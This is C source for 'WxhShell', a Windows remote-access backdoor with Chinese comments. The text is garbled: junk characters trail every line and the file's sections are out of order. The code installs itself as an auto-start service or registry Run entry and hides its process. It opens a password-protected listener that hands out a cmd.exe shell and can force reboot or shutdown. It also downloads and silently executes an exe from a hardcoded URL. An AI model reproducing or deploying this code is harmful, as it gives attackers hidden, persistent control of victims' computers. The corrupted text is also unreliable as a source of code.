    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RZ<.\N (M  
    if(Boot(SHUTDOWN)) ": nI_~q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =?^-P{:\?  
    else { 75<el.'H  
    closesocket(wsh); )G mb? !/^  
    ExitThread(0); 3mybG%39  
    } am3V9 "\  
    break; @kS|Jz$iY  
    } w~ijD ^ g  
  // 获取shell K6ciqwUO  
  case 's': { .vN)A *  
    CmdShell(wsh); uQO(?nCi  
    closesocket(wsh); /@6E3lh S  
    ExitThread(0); X #&(~1O  
    break; w 7Cne%J8  
  } >xk lt"*U,  
  // 退出 LAj}kW~  
  case 'x': { Oib[\O7[z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |{zHM23gD  
    CloseIt(wsh); er#8D6*  
    break; kx:c*3q.k  
    } S_a :ML<  
  // 离开 K<D`(voL  
  case 'q': { lp?i_p/z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8.:B=A  
    closesocket(wsh); Q S5dP  
    WSACleanup(); ys:1Z\$P  
    exit(1); 4F}g(  
    break; -/@|2!d  
        } MX"A@p~H  
  } %g!yccD9  
  } bXa %EMF  
tq2-.]Y@U  
  // 提示信息 `\Uc4lRS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Iq^~  
} #8P#^v]H  
  } 1'(_>S5CG  
.`:oP&9r  
  return; ' m  
} BERn _5gb  
<\B],M1=s=  
// shell模块句柄 z4 GN8:~x  
int CmdShell(SOCKET sock) ,R7=]~<io"  
{ SH .9!lQv  
STARTUPINFO si; SD)5?{6<  
ZeroMemory(&si,sizeof(si)); aS c#&{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A@9U;8k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !%SdTaC{T  
PROCESS_INFORMATION ProcessInfo; )6O\WB|  
char cmdline[]="cmd"; nXx6L!HJ#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Oex{:dO "F  
  return 0; |!?2OTY  
} rD:gN%B=  
ykErt%k<n  
// 自身启动模式 E geG,/-`  
int StartFromService(void) T4%i`<i  
{ pko!{,c  
typedef struct z&>9 s)^-  
{ B:R7[G;1  
  DWORD ExitStatus; jKY Aid{-  
  DWORD PebBaseAddress; L%c]%3A  
  DWORD AffinityMask; 8:3oH!n  
  DWORD BasePriority; YyQf  
  ULONG UniqueProcessId; BN<#x@m$]  
  ULONG InheritedFromUniqueProcessId; rCnV5Yb0O  
}   PROCESS_BASIC_INFORMATION; d/ 'A\"o+  
D=5t=4^H(  
PROCNTQSIP NtQueryInformationProcess; 7Va#{Y;Zy  
Im0+`9Jw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a'*5PaXU@/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l<0[ K(  
{2'74  
  HANDLE             hProcess; =F^->e0N  
  PROCESS_BASIC_INFORMATION pbi; (Fbm9(q$d  
} K+Q9<~u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hJ$C%1;  
  if(NULL == hInst ) return 0; E :'  
dy8In%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L.I}-n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7Ap~7)z[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XNkQk0i;g&  
(dO'_s&M]/  
  if (!NtQueryInformationProcess) return 0; rw=UK`  
6N)< o ;U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aPY>fy^8D  
  if(!hProcess) return 0; 82Z[eo  
M2zos(8g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "c! oOaA  
kMJQeo79  
  CloseHandle(hProcess); 3[|:sa8?s  
^w&5@3d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O3<Y_I^  
if(hProcess==NULL) return 0; eaYkYuS/  
^J#*n;OQ3A  
HMODULE hMod; Ht=6P)  
char procName[255]; V{AH\IV-  
unsigned long cbNeeded; r0hta)xa  
Je4.9?Ch  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5m%baf2_  
alb+R$s  
  CloseHandle(hProcess); ]"2 v7)e  
E{+c*sz  
if(strstr(procName,"services")) return 1; // 以服务启动 98b9%Z'2f  
Z+`{JE#  
  return 0; // 注册表启动 5b{yA~ty  
} E |GK3/  
1K*f4BnDr~  
// 主模块 fn?6%q,!ls  
int StartWxhshell(LPSTR lpCmdLine) CwEWW\Bu  
{ yG4LQE  
  SOCKET wsl; C9z~)aL}7  
BOOL val=TRUE; ~H yyq-  
  int port=0; vhE}{ED  
  struct sockaddr_in door; p0y0T|H^  
_]?Dt%MkD  
  if(wscfg.ws_autoins) Install(); @dT: 1s  
E^EU+})Ujr  
port=atoi(lpCmdLine); ai;gca_P#  
Vx7Dl{?{'  
if(port<=0) port=wscfg.ws_port; NbdMec  
1 ">d|oC  
  WSADATA data; i Ks,i9j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3>@qQ_8%~  
_?(hWC"0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4MF}FS2)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b/n8UxA  
  door.sin_family = AF_INET; ` HE:D2b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b0z{"  
  door.sin_port = htons(port); eB/hyC1  
eM1;Nl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EB3o8  
closesocket(wsl); pD}VB6=  
return 1; .5[LQR  
} !MF"e|W  
2cX"#."5p  
  if(listen(wsl,2) == INVALID_SOCKET) { O.up%' %,  
closesocket(wsl); HBga'xJ  
return 1; Sfr\%Buv  
} lJ>QTZH!wW  
  Wxhshell(wsl); `6S=KRv  
  WSACleanup(); ,C'w(af@}  
sh)) [V"8  
return 0; @<w9fzi  
T.m)c%]^/  
} I ;11j  
O"s`-OM;n  
// 以NT服务方式启动 ZNH*[[Pf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GT\s!D;<  
{ { d2f)ra.  
DWORD   status = 0; '*LN)E> d  
  DWORD   specificError = 0xfffffff; hZ\W ?r  
U0bE B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'B<qG<>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m5;[,He  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {@K2WB  
  serviceStatus.dwWin32ExitCode     = 0; xMfv&q=k@  
  serviceStatus.dwServiceSpecificExitCode = 0; b=QGbFf  
  serviceStatus.dwCheckPoint       = 0; ";Ig%]  
  serviceStatus.dwWaitHint       = 0; FnQ_=b  
|`t!aG8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )Fr;'JYC1S  
  if (hServiceStatusHandle==0) return; ^B6i6]Pd=9  
\|>`z,;  
status = GetLastError(); a^}P_hg}-  
  if (status!=NO_ERROR) J0*]6oD!  
{ A*;^F]~'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g;Sg 2  
    serviceStatus.dwCheckPoint       = 0; )6R#k8'ERr  
    serviceStatus.dwWaitHint       = 0; !9<RWNKV)Y  
    serviceStatus.dwWin32ExitCode     = status; =!P?/  
    serviceStatus.dwServiceSpecificExitCode = specificError; Iv|WeSL.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "KI,3g _V  
    return; 5@Lxbe( q  
  } 0) Um W{  
,ZP3F+XKb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rs<&x(=Hv  
  serviceStatus.dwCheckPoint       = 0; .8PO7#  
  serviceStatus.dwWaitHint       = 0; dV=5_wXZ$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6r-n6#=  
} 3w:Z4]J  
jUR #  
// 处理NT服务事件,比如:启动、停止 Z2j*%/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A"3&EuvU  
{ \NQ)Po@z  
switch(fdwControl) ut5!2t$c  
{ 6ewOZ,"j"4  
case SERVICE_CONTROL_STOP: a&c#* 9t{  
  serviceStatus.dwWin32ExitCode = 0; [11-`v0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A%w]~ chC9  
  serviceStatus.dwCheckPoint   = 0; }:D~yEP  
  serviceStatus.dwWaitHint     = 0; Z a1|fB  
  { gsR9M%mv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y=qo-v59'  
  } UoS;!}l  
  return; ]XafFr6pe  
case SERVICE_CONTROL_PAUSE: 0V,MDX}#_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HXV73rDA  
  break; Di"9 M(6vf  
case SERVICE_CONTROL_CONTINUE: +2fJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wukos5  
  break; ?G>TaTiK#  
case SERVICE_CONTROL_INTERROGATE: #bZ=R  
  break; w~KBk)!*  
}; pBnf^Ew1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -GWzMBS S  
} _,0!ZP-  
= hX-jP  
// 标准应用程序主函数 HN~4-6[q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K2MNaB   
{ c@#zjJhW]  
0#{]!>R  
// 获取操作系统版本 Yg,lJ!q  
OsIsNt=GetOsVer(); }=m?gF%3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sr@XumT  
Lz{T8yvZ  
  // 从命令行安装 FRQ("6(  
  if(strpbrk(lpCmdLine,"iI")) Install(); E1ob+h:`d  
.'mC3E+ $  
  // 下载执行文件 &r5%WRzpYT  
if(wscfg.ws_downexe) { Z*aU2Kr`;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) & O\!!1%  
  WinExec(wscfg.ws_filenam,SW_HIDE); a&aIkD  
} G/3lX^Z>  
`/ReJj&~  
if(!OsIsNt) { lbU+a$  
// 如果时win9x,隐藏进程并且设置为注册表启动 5 ^J8<s@_  
HideProc(); $<% nt  
StartWxhshell(lpCmdLine); |A/_Qe|s2  
} t}+c/ C%b=  
else OSi9J.]O  
  if(StartFromService()) 7:q-NzE\6  
  // 以服务方式启动 x2c*k$<p  
  StartServiceCtrlDispatcher(DispatchTable); %vYlu%c<  
else #&c;RPac!6  
  // 普通方式启动 ayz1i:Q|  
  StartWxhshell(lpCmdLine); mf[79:90^  
@5VZ   
return 0; Prx s2 i 8  
} k#NMD4(%O  
,;pX.Ob U  
Mf13@XEo  
V="f)'S$  
=========================================== *LdH/C.LIf  
\#7%%>p=O'  
Riuv@i^6K  
6;XpLivP7  
MJpTr5Vs  
,,wx197XeD  
" c;}n=7,>:L  
`|?$; )  
#include <stdio.h> U I|@5:J  
#include <string.h> ! -nm7Q  
#include <windows.h> :Zo2@8@7  
#include <winsock2.h> 5MU@g*gj,C  
#include <winsvc.h> *<QL[qyV  
#include <urlmon.h> r9*H-V$  
l<_mag/j9o  
#pragma comment (lib, "Ws2_32.lib") 0%j; yzQ<  
#pragma comment (lib, "urlmon.lib") zb,`K*Z{  
D|'Z c &  
#define MAX_USER   100 // 最大客户端连接数 2]f.mq_PD  
#define BUF_SOCK   200 // sock buffer @|A&\a-"J  
#define KEY_BUFF   255 // 输入 buffer :S6 <v0`Z  
W?Abx  
#define REBOOT     0   // 重启 -3U} (cZ*  
#define SHUTDOWN   1   // 关机 =H?5fT^  
qqre d>K  
#define DEF_PORT   5000 // 监听端口 |q)Q <%VS'  
i.,B 0s] Z  
#define REG_LEN     16   // 注册表键长度 &`W,'qD$  
#define SVC_LEN     80   // NT服务名长度 j'cCX[i  
k-0e#"B  
// 从dll定义API o|E(_ Y4d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,1h(k<-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ')~HOCBSE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,W;8!n0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RlI qH;n  
o:ob1G[p%  
// wxhshell配置信息 m':m`,c!  
struct WSCFG { ueo3i1  
  int ws_port;         // 监听端口  ]^%3Y  
  char ws_passstr[REG_LEN]; // 口令 X~!?t }  
  int ws_autoins;       // 安装标记, 1=yes 0=no |8ZAE%/d  
  char ws_regname[REG_LEN]; // 注册表键名 P~>nlm82]  
  char ws_svcname[REG_LEN]; // 服务名 @Q5^Q'!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |9M y>8k(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aW5~z^I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oWOZ0]H1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Zwl?*t\D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Os+ =}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1-<Xi-=^{t  
1N*~\rV*?  
}; <3OV  
|[ofc!/  
// default Wxhshell configuration  $nWmoe)  
struct WSCFG wscfg={DEF_PORT, Yb*}2  
    "xuhuanlingzhe", [r'M_foga*  
    1, B9\o:eY  
    "Wxhshell", $R4\jIew V  
    "Wxhshell", ,pepr9Yd  
            "WxhShell Service", #{sb>^BF  
    "Wrsky Windows CmdShell Service", H& +s&F{%  
    "Please Input Your Password: ", \ 02e zG  
  1, euK!JZ  
  "http://www.wrsky.com/wxhshell.exe", .quc i(D  
  "Wxhshell.exe" cd#TKmh7re  
    }; -`o:W?V$u  
X_2I4Jz]6  
// 消息定义模块 ['<rfK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7#QH4$@1P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nK$m:=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e{/\znBS%  
char *msg_ws_ext="\n\rExit."; Joj8'  
char *msg_ws_end="\n\rQuit."; X)S4rW%  
char *msg_ws_boot="\n\rReboot..."; yE>DQ *  
char *msg_ws_poff="\n\rShutdown..."; M"V@>E\L  
char *msg_ws_down="\n\rSave to "; suwj1qYJ4  
+Oa1FvoEA  
char *msg_ws_err="\n\rErr!"; (;3jmdJhK  
char *msg_ws_ok="\n\rOK!"; b04~z&Xv  
tuSgh!  
char ExeFile[MAX_PATH]; zb(u?U  
int nUser = 0; (g\'Zw5bk  
HANDLE handles[MAX_USER]; Z3d&I]Tf  
int OsIsNt; jZGmTtx  
8b/yT4f  
SERVICE_STATUS       serviceStatus; &uM?DQ`o8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Tm `CA0@  
Xo,BuK&G  
// 函数声明 'D bHXS7N  
int Install(void); .Qaqkb-Ty  
int Uninstall(void); Jad'8}0J  
int DownloadFile(char *sURL, SOCKET wsh); '*pq@|q;t  
int Boot(int flag); ``={FaV~m  
void HideProc(void); D 6(w}W  
int GetOsVer(void); 0y(d|;':  
int Wxhshell(SOCKET wsl); pD{Li\LY  
void TalkWithClient(void *cs); 1+]e?  
int CmdShell(SOCKET sock); B:l(`G  
int StartFromService(void); @"6BvGU2s  
int StartWxhshell(LPSTR lpCmdLine); z')'8155  
~7*HZ:.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cpr}*A   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p|Ln;aYc  
&EMm<(.]a  
// 数据结构和表定义 JS4pJe\q  
SERVICE_TABLE_ENTRY DispatchTable[] = |Q{l ]D  
{ kmf4ax h1  
{wscfg.ws_svcname, NTServiceMain}, 8=$@azG  
{NULL, NULL} 3 . @W.GG8  
}; UuN(+&oD-  
kAqk~.  
// 自我安装 K3jno+U&  
int Install(void) =I?p(MqW  
{ L%"&_v#a^  
  char svExeFile[MAX_PATH]; ?p5Eo{B  
  HKEY key; P<bA~%<7"[  
  strcpy(svExeFile,ExeFile); cu Nwv(P  
*e^ ZH  
// 如果是win9x系统,修改注册表设为自启动 )/BKN`,  
if(!OsIsNt) { @sVBG']p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ).-FuL4Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7JujU.&{6  
  RegCloseKey(key); XVY^m}pMe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :`_wy-}V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9AS,-5;XQ  
  RegCloseKey(key); j@9A!5<CCk  
  return 0; :r|dXW  
    } |u03~L9G  
  } 2-8<uUy  
} `P'{HT  
else { g|W~0A@D  
hj-M #a  
// 如果是NT以上系统,安装为系统服务 ,]o32@   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A M# '(k(  
if (schSCManager!=0) i^ 1P6B  
{ :kgwKuhL  
  SC_HANDLE schService = CreateService K~[/n<ks  
  ( Hd4&"oeY  
  schSCManager, jLZ+HYyG9  
  wscfg.ws_svcname, K2NnA  
  wscfg.ws_svcdisp, 7n %QP  
  SERVICE_ALL_ACCESS, n}a# b%e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e=YvM g  
  SERVICE_AUTO_START, ~bg FU  
  SERVICE_ERROR_NORMAL, t:W`=^  
  svExeFile, T?Gi;ld7  
  NULL, U%2pbGU  
  NULL, ^M8\ 3G  
  NULL, Jzh_`jW0l  
  NULL, 89~)nV)  
  NULL KWM.b"WnXr  
  ); nJrV  
  if (schService!=0) bD=_44I  
  { QRx'BY$5  
  CloseServiceHandle(schService); I/fERnHM/+  
  CloseServiceHandle(schSCManager); h}.0Ne  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g(|p/%H  
  strcat(svExeFile,wscfg.ws_svcname); cLX~NPD/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C#;}U51:t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  :;rd!)5  
  RegCloseKey(key); ?f:FmgQk  
  return 0; _^Rf*G!  
    } vfmKYiLp  
  } E+csK*A7  
  CloseServiceHandle(schSCManager); 5q@o,d  
} i x,5-j  
} :QB Wy  
c!E+&5|n  
return 1; KK/~W  
} _epi[zf@  
-S Z^;t  
// 自我卸载 k(!#^Mlz[  
int Uninstall(void) eCdMDSFO3  
{ x>7}>Y*(  
  HKEY key; L~CwL  
bv-s}UP0  
if(!OsIsNt) { >4b-NS/}0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xLX:>64'o>  
  RegDeleteValue(key,wscfg.ws_regname); dKi+~m'w  
  RegCloseKey(key); L-",.U*;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d%\en&:la  
  RegDeleteValue(key,wscfg.ws_regname); Nq Ve{+1x  
  RegCloseKey(key); =X]$J@j  
  return 0; ]t(;bD hT  
  } rt^<=|Z  
} 7J.alV4`/  
} Sc`W'q^X  
else { Tz:mj  
]|@RWzA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mtvfG  
if (schSCManager!=0) "O!J6  
{ mtOCk 5E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z%<Z#5_N  
  if (schService!=0) eZJrV} V  
  { Rbm"Qz  
  if(DeleteService(schService)!=0) { f4@>7K]9TA  
  CloseServiceHandle(schService); 0L9z[2sj  
  CloseServiceHandle(schSCManager); q$Gf9&ZO  
  return 0; NnRR"'  
  } Tky\W%Ag  
  CloseServiceHandle(schService); M[g9D  
  } cNZuwS~,  
  CloseServiceHandle(schSCManager); }uz*6Z(S  
} 0Rz'#O32V  
} /r^J8B*  
A (S=  
return 1; 7Y"CeU-S  
} dj3}Tjt  
_3i.o$GO  
// 从指定url下载文件 xlg6cO  
int DownloadFile(char *sURL, SOCKET wsh) k z"F4?,  
{ B{hP#bYK  
  HRESULT hr; Ei2hI  
char seps[]= "/"; *G"L]Nq#  
char *token; +] s"*'V$  
char *file; hN=YC\l  
char myURL[MAX_PATH]; QVA)&k'T,  
char myFILE[MAX_PATH]; eo.y,Uh  
.'.#bH9K  
strcpy(myURL,sURL); ]@wee08  
  token=strtok(myURL,seps); Dl_y[ 9  
  while(token!=NULL) Ou/JN+2A  
  { ;-Fr^|do y  
    file=token; T1sb6CT  
  token=strtok(NULL,seps); "ph&hd}S  
  } vN'Y);$  
,Wtod|vx\U  
GetCurrentDirectory(MAX_PATH,myFILE); 1iyd{r7|  
strcat(myFILE, "\\"); 1#9qP~#]'{  
strcat(myFILE, file); k<x  %  
  send(wsh,myFILE,strlen(myFILE),0); >*rH Nf  
send(wsh,"...",3,0); /G[; kR"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZU\TA|  
  if(hr==S_OK) UlF=,0P  
return 0; jLRUWg  
else 9,g &EnvG  
return 1; f7NK0kuA  
#Q320}]{  
} lW}"6@0,  
^wDZg`  
// 系统电源模块 :wtr{,9rZ  
int Boot(int flag) N4y$$.uv2  
{ `uK_}Vy_  
  HANDLE hToken; (9R;a np  
  TOKEN_PRIVILEGES tkp; u7R:7$H  
Hp`Mp)1s  
  if(OsIsNt) { E07g^y"}i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'fB/6[bd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m E<n=g=  
    tkp.PrivilegeCount = 1;  O+D"7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _h;#\ )%~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P5{|U"Y_  
if(flag==REBOOT) { Ji %6/zV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'uAH, .B  
  return 0; i&KD)&9b#  
} GMD>Ih.k:9  
else { NKae~ 1b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dfkmIO%9X  
  return 0; &}sC8,Sr  
} r2,AZ+4FP  
  } @mM])V  
  else { OFS` ?>  
if(flag==REBOOT) { nFE0y3GD8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ){=2td$=$  
  return 0; K.CwtUt`54  
} WR;"^<i9  
else { :m|%=@]`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P=ARttT`(  
  return 0; K&{*sa r  
} r +X%0@K  
} E2f9J{ Ki=  
B5%N@g$`j  
return 1; Mq7d*Bgb  
} mRI W9V  
y~jKytq^@  
// win9x进程隐藏模块 9p,<<5{  
void HideProc(void)  %trtP  
{ TRQX#))B  
x@EEMO1_"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G[V?# 7.  
  if ( hKernel != NULL ) \qPgQsy4  
  { ?kvc`7>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?cQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lW F=bz0  
    FreeLibrary(hKernel); gHS;RF9  
  } ti`R  
(^h47kY  
return; y@!kp*0  
} 0q_Ol]<V  
J('p'SlI  
// 获取操作系统版本 r{m"E^K,  
int GetOsVer(void) 8e_ITqV%  
{ =A,32&;@N  
  OSVERSIONINFO winfo; V0p@wG3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q^q G=  
  GetVersionEx(&winfo); a ^+b(&;k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #N-NI+qX  
  return 1; qx! NU}6  
  else GnbXS>  
  return 0; 'c#ZW| A  
} *GsrG*OM*D  
XK:KWqW  
// 客户端句柄模块 2fc8w3  
int Wxhshell(SOCKET wsl) 22?9KZ`Z=  
{ 7. y L>  
  SOCKET wsh; MmOGt!}9A  
  struct sockaddr_in client; !Xt=+aKN  
  DWORD myID; 38P_wf~ \  
=U3,P%  
  while(nUser<MAX_USER) J[<3Je=>$  
{ ^=)? a;V  
  int nSize=sizeof(client); ,wmPK;j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `m5cU*@D  
  if(wsh==INVALID_SOCKET) return 1; dy u brIG  
rn1FCJ<;H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?5m[Qc (<  
if(handles[nUser]==0) '{EBK  
  closesocket(wsh); tYt/m6h  
else qIQvix$8  
  nUser++; ;F@dN,Y  
  } |N[SCk>Kj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &o/&T{t}  
o?P(Fuf  
  return 0; d>F=|dakL  
} zk]6|i$!I  
(,\`?g  
// 关闭 socket uC G^,BQ  
void CloseIt(SOCKET wsh) %j=E}J<H5*  
{ c Xcn}gKV  
closesocket(wsh); 8}p5MG  
nUser--; >*A\/Da]j  
ExitThread(0); La}=Ng  
} N i^pP@('  
?Gr<9e2Eo  
// 客户端请求句柄 ->vfQwBFd  
void TalkWithClient(void *cs) 0-Xpq,0  
{ aisX56Lc  
))63?_  
  SOCKET wsh=(SOCKET)cs; %@(6,^3%i  
  char pwd[SVC_LEN]; $Vp&Vc8  
  char cmd[KEY_BUFF]; r2QC$V:0  
char chr[1]; <u44YvLBm  
int i,j; C78d29  
^sH1YE}0  
  while (nUser < MAX_USER) { =1n>vUW+J  
&eY$(o-Hw  
if(wscfg.ws_passstr) { =_cWCl^5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hmkcW r`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <2y~7h:  
  //ZeroMemory(pwd,KEY_BUFF); ,%d n)gt7  
      i=0; RCNqHYR  
  while(i<SVC_LEN) { V&KH{j/P  
A"eT @  
  // 设置超时 s4SR6hBO  
  fd_set FdRead; fx.FHhVu  
  struct timeval TimeOut; UeE& 8{=d  
  FD_ZERO(&FdRead); T4Z("  
  FD_SET(wsh,&FdRead); 7K9+7I&C  
  TimeOut.tv_sec=8; )+w0NhJw  
  TimeOut.tv_usec=0; r3ZY` zf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #eE:hiu<v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u4o%qK  
#:Cr'U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0y'34}  
  pwd=chr[0]; @tjC{?5Y  
  if(chr[0]==0xd || chr[0]==0xa) { \{?v|%n=/i  
  pwd=0; ~"Ek X  
  break; oG@P M+{  
  } *goi^ Xp  
  i++; I+O !<S B  
    } vWfC!k-)b  
WP^%[?S2  
  // 如果是非法用户,关闭 socket UDyvTfh1X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /[nt=#+   
} J+?xfg  
\ox:/-[c\<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C&Nd|c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a((5_8SX5  
2T?t[;-  
while(1) { u[2R>=  
(U/[i.r5Cj  
  ZeroMemory(cmd,KEY_BUFF); vR1%&(f{  
zZ-e2)1v  
      // 自动支持客户端 telnet标准   9FV#@uA}D  
  j=0; #D//oL"u]  
  while(j<KEY_BUFF) { dJNYuTZ'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o?{VGJH<v  
  cmd[j]=chr[0]; >&?wo{b  
  if(chr[0]==0xa || chr[0]==0xd) { [4xN:i  
  cmd[j]=0; O";r\Z  
  break; j- F=5)A  
  } $BH0W{S  
  j++; >)N,V;j  
    } L/nz95  
; p\rgam  
  // 下载文件 L1)?5D  
  if(strstr(cmd,"http://")) { >R!^aJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L?KEe>;r  
  if(DownloadFile(cmd,wsh)) E pM 4 +  
